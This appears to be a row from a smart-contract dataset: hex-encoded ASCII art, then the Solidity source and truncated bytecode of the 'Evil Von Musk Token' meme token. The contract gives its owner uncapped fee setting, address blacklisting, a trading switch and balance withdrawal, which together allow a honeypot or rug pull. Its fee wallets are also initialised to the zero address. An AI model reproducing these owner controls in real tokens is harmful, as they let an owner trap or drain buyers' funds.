29480e29480e29490e29482e2948220200a2020e29494e294bce294b4e29480e29480e294b4e294bce2949820200a2020e29490e29490e29490e29490e2949020202020200a2020e29494e29494e29494e29494e29494e29490202020200a202020e29494e29494e29494e29494e29494e294902020200a20202020e2948ce29480e294ace29490202020200a202020e2948ce29498e2948ce29498e29494e294902020200a202020e2949ce29480e294b4e29480e29480e294a42020200a20202f5c2f5c2f5c2f5c20200a20205c5c2f5c2f5c2f2f20200a202020e2948ce29480e29480e29480e29480e294902020200a202020c2abc2b0e294902020202020200a20202020e29482e295aae2959520202020200a202020e2948ce29494e294bce29480e29480e294902020200a202020e29594e29594e29594e29594e29594e295972020200a2020e29594e29594e29594e29594e29594e29597e29591e2959720200a2020e2959de29591e295a8e295a8e295a8e295a8e29591e2959a20200a202020e29482e2948c2de2949020e294822020200a202020e29482e2948220e2948220e294822020200a202020e2948ce29480e29480e29480e29480e294902020200a2020e2948ce29498e29480202020e294822020200a2020e29494e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e29482e296bce296bc2020e294822020200a202020202fe289a1e289a15c202020200a2020202fe289a1e289a1e289a1e289a15c2020200a20202fe2948ce29480e29480e29480e29480e294905c20200a20202020e2949020e2948c20202020200a202020e29490e29482e29482e29482e29482e2948c2020200a202020e2948ce29480e29480e29480e29480e294902020200a20202020e2948ce29480e29480e29480e294902020200a202020e2948ce29498202020e2949ce29480e29480e294900a202020e2949ce29480e29480e29480e29480e294bce29480e29480e294980a202020e29592e29590e29590e29590e29590e295952020200a202020e2948220202020e294822020200a20e29494e29480e294ace29480e29480e29480e29480e294ace29480e29498200a202020e29688e29688e29688e29688e29688e296882020200a2020e29688e2968820e29688e2968820e29688e2968820200a20e2968820e29688e29688e29688e29688e29688e2968820e29688200a202020e2948220202020e294822020200a202020e2948228e294802920e294822020200a2020202020202020202020200a20202020e29591e29591e29591e29591202020200a202020e2948ce295a8e295a8e295a8e295a8e294902020200a2020202020202020202020200a202020e29592e295a6e295a6e295a6e295a6e295952020200a202020e2959ee295a9e295a9e295a9e295a9e295a12020200a20e2889920e2948220202020e294822020200a20e28899e29480e29480e29480202020e294822020200a202020e29594e29590e29590e29590e29590e295972020200a2020e29594e2959ae2959ae2959ae2959de2959de2959de2959720200a2020e2959fe2948ce29480e29480e29480e29480e29490e295a220200a202020e2948ce29480e29480e29480e29490202020200ae2948ce29480e29480e294a4202020e29494e294902020200ae29494e29480e29480e294bce29480e29480e29480e29480e294a42020200a2020202020e294822020e294822020200a2020202020e294822020e294822020200a20202020202020e29594e295972020200a20202020e29594e29594e29594e29597e2959d2020200a202020e2948ce2959ae2959ae2959de2959de294902020200a2020e299ab2020202020e299aa2020200a20202020e299aa2020202020e299ab200a20e299aa20e2948ce29480e29480e29480e29480e294902020200a202020202020e2959420202020200a2020202020e29594e2959120202020200a202020e2948ce29480e295abe295abe29480e294902020200a202020e2948220202020e294822020200a202020e29482e29590e295902020e294822020200a202020e2948220202020e294822020200a202020e294825be294805d20e294822020200a202020e2948220202020e294822020200a202020e29482e29480e29480e294bc20e294822020200a202020e29593e295962020e29593e295962020200a2020c2b0e2959ce2959ae29597e29594e2959de29599c2b020200a202020e2948ce29480e295a8e295a8e29480e294902020200a2020202020202020202020200a202020e29690e29690e29690e2968ce2968ce2968c2020200a202020e2948ce29480e29480e29480e29480e294902020200a20e2889920e2948220202020e294822020200a20e28899e29480e29480e29480292020e294822020200a202020e2948220202020e294822020200a202020e29482e29480e2959c2020e294822020200a202020e2948220202020e294822020200a202020e29482e29593e294802020e294822020200a2020202020202020202020200a20202020202f2f2f202020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e29592e29590e29590e29590e29590e295952020200a202020e29482e296a1e296a1e296a1e296a1e294822020200a2020e29494e294ace29480e29480e29480e29480e294ace2949820200a202020e29482e29593e295962020e294822020200a202020e29482e29480e294802020e294822020200a202020e29482e28c90c2ac2020e294822020200a20e2889ae29480e29480e29480e294802020e294822020200a2020202020202020202020200a20202020e29593e29593e29593e29593202020200a202020e2948ce295a8e295a8e295a8e295a8e294902020200a202020e2948220202020e294822020200a202020e29482e2948ce29480e2949020e294822020200a202020e29482e28c902dc2ac20e294822020200a202020e2948220202020e294822020200a20202020205be28c825d202020200a202020202020e2948220202020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e29482ceb4202020e294822020200a20202020e29594e29594e29597e29597e295972020200a202020e29594e29594e29594e29597e29597e29597e2959720200a2020e29594e2959de2959de2959120e2959ae2959ae2959720200a2020e2948ce2949020e29490e2948ce29490e2948ce2949020200a2020e29494e29494e29490e29482e29482e2948ce294982020200a202020e2948ce294b4e294b4e294b4e294b4e294902020200a2020202020202020202020200a202020e2948ce294ace294ace294ace294ace294902020200a202020e2949ce294b4e294b4e294b4e294b4e294a42020200a2020202020202020202020200a2020205c2f2f2f2f2f2020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e294824f202020e294822020200a20203cc2b020c2b03e202020c2a7200a2020205c272f2020202f20200a2020207b2829297d7d2020200a20202020e29688e29688e29688e29688202020200a202020e29688e29688e29799e29799e29688e296882020200a202020e2948ce29480e296bce296bce29480e294902020200a202020e2948220202020e294822020200a202020e29494e29480e29480e2949820e294822020200a20e2889920e2948220202020e294822020200a20e28899e29480e29480e294805d2020e294822020200a202020e2948ce29480e29480e29480e29480e294902f20200ae2948ce29480e29480e294b4e29480e29480e29480e29480e294b4e29480e29480e294900ae29494e29480e29480e294ace29480e29480e29480e29480e294ace29480e29480e294980a2020202020202020202020200a2020202828282828282020200a202020e2948ce29480e29480e29480e29480e294902020200a20202020e28691e28691e28693e28693202020200a202020e28690e28692e28690e2869241422020200a202020e2948ce29480e29480e29480e29480e294902020200a2020202020e29594e29594e29594e29594e2959d20200a20202020e29594e2959de29594e2959d202020200a202020e2948ce295a8e295a8e295a8e29480e294902020200a20202020e298bc2020e298bc202020200a20202020205c2f20202020200a202020e2948ce29480e29480e29480e29480e294902020200a2020202020202020202020200a2020202020202020202020200a202020e2948ce294bce294bce294bce294bce294902020200a20202020e29594e29590e2959720202020200a20202020e2959ae2959ae2959ae29597202020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e29482e294bce29480e294bc20e294822020200a202020e2948220202020e294822020200a202020e294823ce294803e20e294822020200a2020202020202020202020200a20202020e28c82e28c82e28c82e28c82202020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e29482e28c90c2ac2020e294822020200a202020e294824f202020e294822020200a202020e2948ce294ace294ace294ace294ace294902020200a202020e29593e294ace294ace294ace294ace295962020200a202020e29599e294b4e294b4e294b4e294b4e2959c2020200aa264697066735822122038ecd3cf5dc68f88c5ed1fd49d7769ea1e603c3253fcd5de0e65e09992eac7b964736f6c63430008020033 | {"success": true, "error": null, "results": {}} | 336 |
0x48f8e9d9d633e0fab80efb806fd673a30e378d6a | // Made with love from a dark Berlin basement laboratory ;)
// Evil Von Musk Token ETH
// My latest experiment! My nemesis, Super Mega Hyper Doge, doesn't stand a chance!
// EVMT = ZINU spliced with SHINJA injected with 420.69 µL's of Evil
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EVMT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Evil Von Musk Token";
string private constant _symbol = "EVMT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
// mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 666666666666 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
// We set this to private since preTrading will not be allowed
mapping (address => bool) private preTrader;
// mapping(address => uint256) private cooldown;
address payable private developmentAddress = payable(developmentAddress);
address payable private marketingAddress = payable(marketingAddress);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 666666666666 * 10**9; //100
uint256 public _maxWalletSize = 666666666666 * 10**9; //100
uint256 public _swapTokensAtAmount = 66666666 * 10**9; //0.01
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[developmentAddress] = true;
_isExcludedFromFee[marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
developmentAddress.transfer(amount.div(2));
marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == developmentAddress || _msgSender() == marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == developmentAddress || _msgSender() == marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = payable(_marketingAddress);
}
function setDevelopmentAddress(address _developmentAddress) external onlyOwner {
developmentAddress = payable(_developmentAddress);
}
function claimTokens () public onlyOwner {
// make sure we capture all ETH that may or may not be sent to this contract
payable(marketingAddress).transfer(address(this).balance);
}
function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
// We set this to private since this function will not be used
function allowPreTrading(address account, bool allowed) private onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | 0x6080604052600436106102075760003560e01c806374010ece11610118578063a2a957bb116100a0578063c492f0461161006f578063c492f046146105fe578063dd62ed3e1461061e578063ea1644d514610664578063ea2f0b3714610684578063f2fde38b146106a457600080fd5b8063a2a957bb14610579578063a9059cbb14610599578063bfd79284146105b9578063c3c8cd80146105e957600080fd5b80638f70ccf7116100e75780638f70ccf7146104d65780638f9a55c0146104f6578063906e9dd01461050c57806395d89b411461052c57806398a5c3151461055957600080fd5b806374010ece14610462578063764d72bf146104825780637d1db4a5146104a25780638da5cb5b146104b857600080fd5b8063313ce5671161019b5780636b9990531161016a5780636b999053146103d85780636d8aa8f8146103f85780636fc3eaec1461041857806370a082311461042d578063715018a61461044d57600080fd5b8063313ce567146103675780633ae7dc201461038357806348c54b9d146103a357806349bd5a5e146103b857600080fd5b806318160ddd116101d757806318160ddd146102eb57806323b872dd1461031157806329b1c15c146103315780632fd689e31461035157600080fd5b8062b8cf2a1461021357806306fdde0314610235578063095ea7b3146102835780631694505e146102b357600080fd5b3661020e57005b600080fd5b34801561021f57600080fd5b5061023361022e366004611ed0565b6106c4565b005b34801561024157600080fd5b5060408051808201909152601381527222bb34b6102b37b71026bab9b5902a37b5b2b760691b60208201525b60405161027a9190612042565b60405180910390f35b34801561028f57600080fd5b506102a361029e366004611e24565b610771565b604051901515815260200161027a565b3480156102bf57600080fd5b506013546102d3906001600160a01b031681565b6040516001600160a01b03909116815260200161027a565b3480156102f757600080fd5b50682423dbc92e6cae24005b60405190815260200161027a565b34801561031d57600080fd5b506102a361032c366004611de4565b610788565b34801561033d57600080fd5b5061023361034c366004611d74565b6107f1565b34801561035d57600080fd5b5061030360175481565b34801561037357600080fd5b506040516009815260200161027a565b34801561038f57600080fd5b5061023361039e366004611fcf565b61083d565b3480156103af57600080fd5b5061023361096b565b3480156103c457600080fd5b506014546102d3906001600160a01b031681565b3480156103e457600080fd5b506102336103f3366004611d74565b6109d1565b34801561040457600080fd5b50610233610413366004611f97565b610a1c565b34801561042457600080fd5b50610233610a64565b34801561043957600080fd5b50610303610448366004611d74565b610aac565b34801561045957600080fd5b50610233610ace565b34801561046e57600080fd5b5061023361047d366004611fe1565b610b42565b34801561048e57600080fd5b5061023361049d366004611d74565b610b71565b3480156104ae57600080fd5b5061030360155481565b3480156104c457600080fd5b506000546001600160a01b03166102d3565b3480156104e257600080fd5b506102336104f1366004611f97565b610bd0565b34801561050257600080fd5b5061030360165481565b34801561051857600080fd5b50610233610527366004611d74565b610c18565b34801561053857600080fd5b506040805180820190915260048152631155935560e21b602082015261026d565b34801561056557600080fd5b50610233610574366004611fe1565b610c64565b34801561058557600080fd5b50610233610594366004612011565b610c93565b3480156105a557600080fd5b506102a36105b4366004611e24565b610cd1565b3480156105c557600080fd5b506102a36105d4366004611d74565b600f6020526000908152604090205460ff1681565b3480156105f557600080fd5b50610233610cde565b34801561060a57600080fd5b50610233610619366004611e4f565b610d32565b34801561062a57600080fd5b50610303610639366004611dac565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561067057600080fd5b5061023361067f366004611fe1565b610de1565b34801561069057600080fd5b5061023361069f366004611d74565b610e10565b3480156106b057600080fd5b506102336106bf366004611d74565b610e5b565b6000546001600160a01b031633146106f75760405162461bcd60e51b81526004016106ee90612095565b60405180910390fd5b60005b815181101561076d576001600f600084848151811061072957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610765816121a8565b9150506106fa565b5050565b600061077e338484610f45565b5060015b92915050565b6000610795848484611069565b6107e784336107e285604051806060016040528060288152602001612213602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906115fa565b610f45565b5060019392505050565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016106ee90612095565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108675760405162461bcd60e51b81526004016106ee90612095565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b1580156108b057600080fd5b505afa1580156108c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e89190611ff9565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561092e57600080fd5b505af1158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611fb3565b505050565b6000546001600160a01b031633146109955760405162461bcd60e51b81526004016106ee90612095565b6012546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109ce573d6000803e3d6000fd5b50565b6000546001600160a01b031633146109fb5760405162461bcd60e51b81526004016106ee90612095565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b03163314610a465760405162461bcd60e51b81526004016106ee90612095565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6011546001600160a01b0316336001600160a01b03161480610a9957506012546001600160a01b0316336001600160a01b0316145b610aa257600080fd5b476109ce81611634565b6001600160a01b038116600090815260026020526040812054610782906116b9565b6000546001600160a01b03163314610af85760405162461bcd60e51b81526004016106ee90612095565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610b6c5760405162461bcd60e51b81526004016106ee90612095565b601555565b6000546001600160a01b03163314610b9b5760405162461bcd60e51b81526004016106ee90612095565b6040516001600160a01b038216904780156108fc02916000818181858888f1935050505015801561076d573d6000803e3d6000fd5b6000546001600160a01b03163314610bfa5760405162461bcd60e51b81526004016106ee90612095565b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016106ee90612095565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610c8e5760405162461bcd60e51b81526004016106ee90612095565b601755565b6000546001600160a01b03163314610cbd5760405162461bcd60e51b81526004016106ee90612095565b600793909355600991909155600855600a55565b600061077e338484611069565b6011546001600160a01b0316336001600160a01b03161480610d1357506012546001600160a01b0316336001600160a01b0316145b610d1c57600080fd5b6000610d2730610aac565b90506109ce8161173d565b6000546001600160a01b03163314610d5c5760405162461bcd60e51b81526004016106ee90612095565b60005b82811015610ddb578160046000868685818110610d8c57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610da19190611d74565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610dd3816121a8565b915050610d5f565b50505050565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b81526004016106ee90612095565b601655565b6000546001600160a01b03163314610e3a5760405162461bcd60e51b81526004016106ee90612095565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610e855760405162461bcd60e51b81526004016106ee90612095565b6001600160a01b038116610eea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fa75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ee565b6001600160a01b0382166110085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ee565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ee565b6001600160a01b03821661112f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ee565b600081116111915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106ee565b6000546001600160a01b038481169116148015906111bd57506000546001600160a01b03838116911614155b80156111e257506001600160a01b03831660009081526010602052604090205460ff16155b801561120757506001600160a01b03821660009081526010602052604090205460ff16155b156114f357601454600160a01b900460ff166112ab576001600160a01b03831660009081526010602052604090205460ff166112ab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106ee565b6015548111156112fd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ee565b6001600160a01b0383166000908152600f602052604090205460ff1615801561133f57506001600160a01b0382166000908152600f602052604090205460ff16155b6113975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016106ee565b6014546001600160a01b0383811691161461141c57601654816113b984610aac565b6113c3919061213a565b1061141c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106ee565b600061142730610aac565b6017546015549192508210159082106114405760155491505b8080156114575750601454600160a81b900460ff16155b801561147157506014546001600160a01b03868116911614155b80156114865750601454600160b01b900460ff165b80156114ab57506